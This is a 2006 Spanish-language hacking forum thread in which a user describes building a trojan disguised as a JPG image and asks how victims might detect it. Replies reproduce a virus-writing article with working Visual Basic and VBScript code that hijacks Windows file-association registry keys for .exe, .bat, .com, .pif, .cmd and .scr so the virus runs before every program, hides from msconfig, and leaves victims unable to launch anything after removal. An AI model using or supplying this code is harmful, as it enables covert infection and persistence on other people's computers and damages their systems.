Título: exe-jpg Publicado por: xXnewbieXx en 19 Marzo 2006, 10:56 am hola, antes k na no sabia si publicar esto en el foro d trojan o en este. lo hago aki, pq pese a k el proyecto q estoy desarrollando es un trojan no es una pregunta de código ni una duda sobre como hacer 1 tojan sino la siguiente.
(y en caso d akivokarme perdonen) :P he creado un .exe con un icono exactamente = a un jpq y k su extensión está conforme al peso k tendría 1 imagen en ese formato, dps lo comprimo y lo paso a .rar o .zip y con el code q puso KiZaR (si no recuerdo mal) lo uno a una imagen ... y mi duda es... :huh: ¿¿hay otra forma d ver k c trata d un exe aparte de darle encima dl iconito en propiedades y ver su extensión?? :-\ saludos! gracias y felicitaciones x este gran foro! :P( es k toy enganxado a la programacion ) :P ;D Título: Re: exe-jpg Publicado por: Hendrix en 19 Marzo 2006, 11:09 am Si lo editas kon un editor hexadecimal los .exe's siempre empiezan por MZ, es una propiedad que tienen los ejekutables.
Ahora se me viene a la kabeza un "proyecto", algo que mirara si los .jpg empiezan por MZ, si empiezan por MZ que se ejekuten komo .exe, sino, komo .jpg, seria posible hacer una aplikacion que haga esto???? Me refiero a que modifike el registro de windows para que esto se pueda hacer, vi un texto de MachineDraemon que exponia la "interceptacion de ejecutables", podriamos aplikar algo parecido pero kon esta idea.... Weno, Salu2 Hendrix Título: Re: exe-jpg Publicado por: Kizar en 19 Marzo 2006, 12:05 pm Lei algo acerca de que el CMD no abre los archivos por la extension sino por el contenido, en ese caso da igual la extension que le pongamos a un archivo si es un exe se abrira como aplicacion... El caso es que hay que conseguir que lo abra con la consola.....
Salu2 Título: Re: exe-jpg Publicado por: Hendrix en 19 Marzo 2006, 12:48 pm Esto creo que es facil....
En el texto de machinedraemon (recomiendo leerlo) dice esto: Los archivos .txt en el registro, para ejekutarse kon el notepad (programa predefinido) esta esto: "C:\Windows\notepad.exe", %1 (o algo parecido, ahora no me akuerdo). El kaso es que se podria hacer esto: "C:\Windows\cmd.exe" %1 y asi se abriria con el cmd... Esto es una idea, si kieren puedo poner el texto de machine en este post... Salu2 Hendrix EDITADO: ------------ Articulo de MachineDramon: (*) GEDZAC LABS 2004 Interceptación de Ejecutables: ------------------------------- Primero veremos algo de lo que hace win al hacer doble click en un archivo de cierta extensión, la accion que toma win esta determinada por valores en el registro: Veamos la diferencia entre la extensión .txt y un .exe en el registro: txt: ---- HKEY_CLASSES_ROOT\txtfile\shell\open\command\(Predeterminado) = C:\WINDOWS\NOTEPAD.EXE %1 exe: ---- HKEY_CLASSES_ROOT\exefile\shell\open\command\(Predeterminado) = "%1" %* Se podria decir que el valor de la clave es la linea de comando que ejecuta win dependiendo del tipo de archivo, en este caso ejecuta notepad y %1 repre senta la ruta y nombre del archivo al que le hicimos doble click, pos como si ejecutaramos de una ventana ms-dos: Notepad c:\text.txt el valor de la extensión exe significa que cuando hagamos doble click sobre un .exe win ejecutara la linea de comandos: RutadelFileExe.exe Entonces lo que debe hacer nuestro virus es al infectar modificar el regis- tro de forma que al hacer doble click a un .exe se ejecute la linea de comando: %RutaDelVirus% RutadelFileExe.exe luego leer nuestra linea de comando, y obtener RutadelFileExe.exe ejecutar RutadelFileExe.exe (pos pa que se ejecute el .exe) Luego comprobar que no estemos ejecutando ya, sino tendriamos una instancia del virus por cada .exe ejecutado, si ya estamos ejecutandonos, ejecutamos el exe y terminamos. Presentaremos 2 codes uno usando las facilidades de vb y otro en vb pero usando apis (con lo que sera más facil adaptarlo a otros lenguages). Code 1 ------- a)Tenemos que hacer que estas llaves del reg queden asi, para poder inter- ceptar .com .exe .pif .scr .bat .cmd HKEY_CLASSES_ROOT\exefile\shell\open\command\(Predeterminado) = C:\ruta\virus.exe "%1" %* HKEY_CLASSES_ROOT\piffile\shell\open\command\(Predeterminado) = C:\ruta\virus.exe "%1" %* HKEY_CLASSES_ROOT\comfile\shell\open\command\(Predeterminado) = C:\ruta\virus.exe "%1" %* HKEY_CLASSES_ROOT\batfile\shell\open\command\(Predeterminado) = C:\ruta\virus.exe "%1" %* HKEY_CLASSES_ROOT\scrfile\shell\open\command\(Predeterminado) = C:\ruta\virus.exe "%1" /S ->Ojo aqui en los .scr es asi HKEY_CLASSES_ROOT\cmdfile\shell\open\command\(Predeterminado) = C:\ruta\virus.exe "%1" %* Para eso podria ser: Sub Intercepta() On Error Resume Next Set ws = CreateObject("WScript.Shell") ws.RegWrite "HKEY_CLASSES_ROOT\exefile\shell\open\command\", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*" ws.RegWrite "HKEY_CLASSES_ROOT\batfile\shell\open\command\", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*" ws.RegWrite "HKEY_CLASSES_ROOT\comfile\shell\open\command\", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*" ws.RegWrite "HKEY_CLASSES_ROOT\piffile\shell\open\command\", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*" ws.RegWrite "HKEY_CLASSES_ROOT\cmdfile\shell\open\command\", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*" ws.RegWrite "HKEY_CLASSES_ROOT\scrfile\shell\open\command\", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " /S" End Sub b)Ahora tenemos que leer nuestra linea de comandos, en vb es facil usan- do Command$ ,pos esto tiene que ir al comienzo del virus: 'Si nuestra linea de comandos no esta vacia, la ejecutamos con shell If (Command$ <> "") Then id = Shell(Command$, vbNormalFocus) c)Verificamos si ya estamos en ejecucion, esto en vb tambien es facil: If App.PrevInstance Then End End If Code 2: ------- a)Escribir en el reg, declaramos las apis y constantes que usaremos, aqui como Private, pero eso dependera de como y donde las quieran usar Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long Private Const REG_SZ = 1 Private Const REG_DWORD = 4 Private Const KEY_ALL_ACCESS = &H3F Private Const REG_OPTION_NON_VOLATILE = 0 Private Const HKEY_CLASSES_ROOT As Long = &H80000000 Private Const HKEY_CURRENT_USER As Long = &H80000001 Private Const HKEY_LOCAL_MACHINE As Long = &H80000002 Private Const KEY_QUERY_VALUE As Long = &H1 Sub Intercepta() On Error Resume Next 'Usamos el sub Rw pa escribir en el reg usando la api Rw "exefile\shell\open\command\", "", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*", 1, 1 Rw "batfile\shell\open\command\", "", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*", 1, 1 Rw "comfile\shell\open\command\", "", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*", 1, 1 Rw "piffile\shell\open\command\", "", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*", 1, 1 Rw "cmdfile\shell\open\command\", "", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*", 1, 1 Rw "scrfile\shell\open\command\", "", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " /S", 1, 1 End Sub 'Este sub usa la api pa escribir en el reg, se me hace dificil explicarlo 'nose si estas apis son dificiles o yo me toy complicando la vida, 'Sub Rw donde: 'sKey es la ruta parcial de la llave que queremos escribir 'nKey es el nombre de la llave que escribiremos 'vKey es el valor de la llave 'm0 es 1 2 o 3 dependiendo de en cual llave raiz queremos escribir HKEY_CLASSES_ROOT 'HKEY_CURRENT_USER o HKEY_LOCAL_MACHINE respectivamente 'm1 es 1 o 2 si queremos escribir un valor de cadena o dword respectivamente 'Por ejemplo si queremos escribir 'HKEY_LOCAL_MACHINE\Software\Microsoft\llave = Valor Cadena 'Tendriamos que llamarlo de esta forma: ' 'Rw "Software\Microsoft","llave","Valor",3,1 Sub Rw(sKey, nKey, vKey As Variant, m0, m1) On Error Resume Next 'Declaramos las vars Dim RK As Long, l As Long, hKey As Long 'vemos que valor tiene m0 pa igualar RK al valor de la constante que corres- 'ponda, porque a la api hay que pasarle en cual llave raiz queremos escribir 'en forma de un valor long Select Case m0 Case 1 RK = HKEY_CLASSES_ROOT Case 2 RK = HKEY_CURRENT_USER Case 3 RK = HKEY_LOCAL_MACHINE End Select 'Usamos RegCreateKeyEx porque si no existe la llave la crea y si existe la 'abre para poder escribir, le pasamos RK, la ruta parcial de la llave, luego 'un 0 (que no se bien pa que es), luego una cadena nula,luego la constante 'REG_OPTION_NON_VOLATILE para que la informacion sea no volatil, osea se 'conserve despues de reiniciar la pc, luego KEY_ALL_ACCESS para tener acceso 'total a la llave que estamos creando o abriendo, luego pasamos 0 aunque teo- 'ricamente se deberia pasar una var tipo SECURITY_ATTRIBUTES, pero la seguridad 'del reg no nos interesa,luego la var que va a contener el handle de la 'llave que abrimos o creamos, usaremos este handle para identificar nuestra 'llave. 'el ultimo valor es un long que indica si la llave fue creada o ya existia 'y solo la abrimos l = RegCreateKeyEx(RK, sKey, 0&, vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0&, hKey, l) 'Aqui vemos que valor pasamos en m1, para saber que escribiremos si una 'cadena o un dword Select Case m1 'Si 1 entons escribimos cadena Case 1 'Igualamos una var string al valor del argumento vKey convertido a string 'con CStr, porque no pasamos directamente el argumento?, porque el arg esta 'declarado como variant y la api requiere un valor string Dim sVal As String sVal = CStr(vKey) 'Luego usamos RegSetValueEx para escribir el valor en la llave, le pasamos 'el handle que obtuvimos antes, el nombre de la llave donde escribira, 'un 0, el tipo de valor en este caso REG_SZ(valor cadena), el valor que 'tendra la llave lo pasamos por valor (ByVal), luego el tamaño del valor+1 l = RegSetValueEx(hKey, nKey, 0&, REG_SZ, ByVal sVal, Len(sVal) + 1) Si 2 entons escribimos dword Case 2 'Igualamos una var long al valor del argumento vkey, en este caso la api 'requiere un valor long, indicamos con REG_DWORD que el valor sera un valor 'decimal o hexadecimal, y en el tamaño pasamos siempre 4, lo demas es igual Dim lVal As Long lVal = vKey l = RegSetValueEx(hKey, nKey, 0&, REG_DWORD, ByVal lVal, 4) End Select 'Aqui cerramos la llave con RegCloseKey pasandole el handle l = RegCloseKey(hKey) End Sub Pos que ya me desvie del tema, esto no trata de como escribir en el reg Para profundizar más en el manejo del reg: http://www16.brinkster.com/eduroam/api/default.asp?pag=cap10 http://www.cybercursos.net/cursos-online/foxpro/vfp_api6.htm http://www.telecable.es/personales/jrubi/trucos/tip00084.htm b)Leer la linea de comandos y ejecutarla, usaremos GetCommandline para leer la linea de comandos y WinExec para ejecutarla No usar la declaracion de la api GetCommandLine que viene en el visor de api de vb6, porque la declara como string y debe declararla como long, lo que hace que no funke en algunas versiones de win. En un articulo de la mitosis puse el GetCommandline declarado como string ser error 'Apis y constantes Private Declare Function GetCommandLine Lib "kernel32" Alias "GetCommandLineA" () As Long Private Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As Long) As Long Private Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long Private Const SW_NORMAL = 1 'Declaramos las vars Dim Gcl As Long, Gcs As String, Gc As Long 'llamamos a GetCommandline, que nos devuelve un valor long Gcl = GetCommandLine() 'calculamos el tamaño de la variable con lstrlen Gc = lstrlen(Gcl) 'Igualamos Gcs al tamaño de Gcl+1, rellenandola con chr(0) o nulls Gcs = String$(Gc + 1, 0) 'copiamos el valor de Gcl a Gcs con lstrcpy y ya tenemos una string con 'la linea de comandos lstrcpy Gcs, Gcl 'obtenemos tantos caracteres de la izquierda como sea el valor de Gc-1 'y desechamos lo demas Gcs = Left$(Gcs, Gc - 1) 'Ahora si nuestra aplicacion se ejecuta sola Gcs sera igual a: ' '"c:\ruta\virus.exe" ' 'sino sera igual a: ' 'c:\ruta\virus.exe "c:\ruta\fileexe.exe" ' 'entonces lo que necesitamos obtener es: ' 'c:\ruta\fileexe.exe ' 'y ejecutar el .exe 'Si nuestra linea de comandos contiene un espacio seguido de una comilla 'entonces hay algo que ejecutar If InStr(Gcs, " " & Chr(34)) <> 0 Then 'si la linea de comandos no contiene "/" entonces es un .exe .bat .pif '.com o .cmd If InStr(Gcs, "/") = 0 Then 'obtenemos la ruta del programa a ejecutar Gcs = Mid$(Left$(Gcs, Gc - 1), InStr(Gcs, " " & Chr(34)) + 2) Gcs = Left$(Gcs, Len(Gcs) - 1) 'pero si contiene "/" es un .scr y debe ser ejecutado con el parametro ' /S Else 'obtenemos la ruta del programa a ejecutar y le agregamos el parametro ' /S Gcs = Mid$(Left$(Gcs, Gc - 1), InStr(Gcs, " " & Chr(34)) + 2) Gcs = Left$(Gcs, Len(Gcs) - 3) & " /S" End If 'ejecutamos la linea de comandos, indicando que el programa ejecutado 'se habra con su ventana en modo normal (SW_NORMAL) Call WinExec(Gcs, SW_NORMAL) End If c)Verificar si estamos en ejecucion: para saber si estamos en ejecucion vamos a crear un mutex la primera vez que nos ejecutamos, luego las veces siguientes veces que nos ejecutemos intentamos crearlo y si ya existe ya nos estamos ejecutando y nos dara un error caracteristico y entonces terminamos la ejecucion. 'apis y constantes que usaremos Private Declare Function CreateMutex Lib "kernel32" Alias "CreateMutexA" (ByRef lpMutexAttributes As SECURITY_ATTRIBUTES, ByVal bInitialOwner As Long, ByVal lpName As String) As Long Private Type SECURITY_ATTRIBUTES nLength As Long lpSecurityDescriptor As Long bInheritHandle As Long End Type Private Const ERROR_ALREADY_EXISTS = 183& On Error Resume Next 'declaramos las vars Dim GMutex Dim Mutex As SECURITY_ATTRIBUTES 'rellenamos la structura SECURITY_ATTRIBUTES Mutex.lpSecurityDescriptor = 0 Mutex.nLength = Len(Mutex) Mutex.bInheritHandle = 1 'Creamos el mutex GEDZAC, CreateMutex nos devuelve un handle en GMutex GMutex = CreateMutex(Mutex, 1, "GEDZAC") 'Aqui vemos si ha ocurrido un error al llamar a CreateMutex, si es la primera 'vez que ejecutamos, no debe haber error, si lo hay y el error es igual a 'ERROR_ALREADY_EXISTS entonces el mutex ya existia lo que quiere decir que 'ya nos estamos ejecutando. 'Si ha habido error en las apis o que error fue lo averiguamos con la 'propiedad LastDllError del objeto Err, en otros lenguages podemos usar 'la api GetLastError() ' 'Private Declare Function GetLastError Lib "kernel32" Alias "GetLastError" () As Long ' If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then End End If Nota: En Gmutex tenemos el handle del Mutex, si por alguna razon tenemos que terminar la ejecucion o estamos probando el codigo, no olvidar destruir el mutex al terminar el programa, con la api CloseHandle porque si terminamos la ejecucion y dejamos el mutex, luego al volver a eje- cutar el programa va a ver que todavia existe el mutex y pensara que ya se esta ejecutando. Private Declare Function CloseHandle Lib "kernel32" Alias "CloseHandle" (ByVal hObject As Long) As Long Call CloseHandle(GMutex) La ventaja de esta tecnica es que no aparecemos en el msconfig, ni nada de eso, la desventaja es para el user, que una vez que elimine el virus, si no arregla su reg, no va a poder ejecutar nada. Como precaucion al probar esto, suponiendo que nos equivocamos en algo y ya modificamos nuestro reg y no podemos ejecutar nada, ni el regedit pa arreglarlo(ya me ha pasado), pos seria bueno tener a mano un .vbs que arregle esto: VBS pa reparar en caso de emergencia ------------------------------------------------------------------------- On Error Resume Next Set wsl = CreateObject("WScript.Shell") s="@%1@ %*": s=replace(s,"@",chr(34)) s1="@%1@ /S": s1=replace(s1,"@",chr(34)) wsl.RegWrite "HKEY_CLASSES_ROOT\exefile\shell\open\command\",s wsl.RegWrite "HKEY_CLASSES_ROOT\comfile\shell\open\command\",s wsl.RegWrite "HKEY_CLASSES_ROOT\scrfile\shell\open\command\",s wsl.RegWrite "HKEY_CLASSES_ROOT\piffile\shell\open\command\",s wsl.RegWrite "HKEY_CLASSES_ROOT\cmdfile\shell\open\command\",s wsl.RegWrite "HKEY_CLASSES_ROOT\batfile\shell\open\command\",s1 ------------------------------------------------------------------------- Aunque lo expuesto no es un code completo, sino fragmentos, ojala estas ideas les hayan servido (*) GEDZAC LABS 2004 Título: Re: exe-jpg Publicado por: xXnewbieXx en 19 Marzo 2006, 13:21 pm ;) gracias no sabia lo dl editor hexadecimal...
aunq los codecs q posteastes dps lo toy mirando con calma pq siempre acabo perdiendome en alguna linea :)... :P |